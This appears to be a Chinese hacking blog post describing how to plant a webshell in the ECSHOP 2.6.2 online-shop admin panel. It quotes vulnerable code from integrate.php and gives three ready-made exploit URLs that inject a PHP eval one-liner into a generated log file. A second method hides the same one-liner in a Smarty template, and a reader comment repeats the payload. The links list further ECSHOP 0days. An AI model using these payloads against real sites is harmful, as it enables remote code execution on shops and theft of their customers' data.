ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。(官方介绍)
ECSHOP前段时间出了个注射漏洞:http://bbs.wolvez.org/topic/67/, 拿后台权限应该没有问题,但文章没有提及如何在后台拿shell。昨天可乐在t00ls.Net上发帖问如何拿shell,无聊中我baidu、 google了下,网上貌似没有拿shell的办法。好久没读代码了,无聊中下了ECSHOP最新版(V2.6.2)的源码过来读,很庆幸,给我找到一个 可以直接写shell的文件。与注射一样,同样是个变化未初始化导致的问题,于是,同样只能用在register_globals为on的环境下。
integrate.php第740行起:
view source
print?
01.if ($_REQUEST['act'] == 'sync')
02.{
03. $size = 100;
04.
05. ......
06.
07. $tasks = array();
08. if ($task_del > 0)
09. {
10. $tasks[] = array('task_name'=>sprintf($_LANG['task_del'], $task_del),'task_status'=>'<span id="task_del">' . $_LANG['task_uncomplete'] . '<span>');
11. $sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 2";
12. $del_list = $db->getCol($sql);//$del_list未初始化,转载请注明来自:www.oldjun.com
13. }
14.
15. if ($task_rename > 0)
16. {
17. $tasks[] = array('task_name'=>sprintf($_LANG['task_rename'], $task_rename),'task_status'=>'<span id="task_rename">' . $_LANG['task_uncomplete'] . '</span>');
18. $sql = "SELECT user_name, alias FROM " . $ecs->table('users') . " WHERE flag = 3";
19. $rename_list = $db->getAll($sql);//$rename_list未初始化,转载请注明来自:www.oldjun.com
20. }
21.
22. if ($task_ignore >0)
23. {
24. $sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 4";
25. $ignore_list = $db->getCol($sql);//$ignore_list未初始化,转载请注明来自:www.oldjun.com
26. }
27.
28. ......
29.
30. /* 保存修改日志 */
31. $fp = @fopen(ROOT_PATH . DATA_DIR . '/integrate_' . $_SESSION['code'] . '_log.php', 'wb');
32. $log = '';
33. if (isset($del_list))
34. {
35. $log .= '$del_list=' . var_export($del_list,true) . ';';
36. }
37. if (isset($rename_list))
38. {
39. $log .= '$rename_list=' . var_export($rename_list, true) . ';';
40. }
41. if (isset($ignore_list))
42. {
43. $log .= '$ignore_list=' . var_export($ignore_list, true) . ';';
44. }
45. //未做过滤,直接写log,转载请注明来自:www.oldjun.com
46. fwrite($fp, $log);
47. fclose($fp);
48.
49. $smarty->assign('tasks', $tasks);
50. $smarty->assign('ur_here',$_LANG['user_sync']);
51. $smarty->assign('size', $size);
52. $smarty->display('integrates_sync.htm');
53.}
$del_list、$rename_list、$ignore_list均没有初始化,于是,均可以直接写shell。
利用方法:
http://www.oldjun.com/admin/integrate.php?act=sync&del_list=<?php%20eval($_POST[cmd])?>
http://www.oldjun.com/admin/integrate.php?act=sync&rename_list=<?php%20eval($_POST[cmd])?>
http://www.oldjun.com/admin/integrate.php?act=sync&ignore_list=<?php%20eval($_POST[cmd])?>
三个链接,随便输入一个就可以了,生成http://www.oldjun.com/data/integrate__log.php,就是一句话小马了~
Posted by oldjun
肉丝提供的方法如下:
在“模板管理”-》“库项目管理”,然后选择myship.lbi,在模板里面随便插入一句话小马,再连接http://www.target.com/myship.php文件就可以
ECshop的smarty模板机制是允许直接执行php代码的
只显示10条记录相关文章
ecshop后台获取shell最新方法,通杀最新版本&后台低权限 (浏览: 18168, 评论: 0)
ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋) (浏览: 16093, 评论: 0)
ECshop 支付方式注射 0day (浏览: 14385, 评论: 0)
利用图片隐藏ASP WebShell一句话后门 (浏览: 12128, 评论: 0)
ecshop v2.72 前台写shell漏洞 (浏览: 12203, 评论: 0)
ecshop2.72鸡肋注入 (浏览: 11149, 评论: 0)
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell (浏览: 13014, 评论: 0)
ecshop后台拿shell的又一种方法 (浏览: 13923, 评论: 0)
ecshop SQL注射漏洞0821 0day (浏览: 11164, 评论: 0)
Trackbacks
1条记录访客评论
<?php eval($_POST[cmd]);?>
Post by faded on 2016, August 30, 5:42 PM #1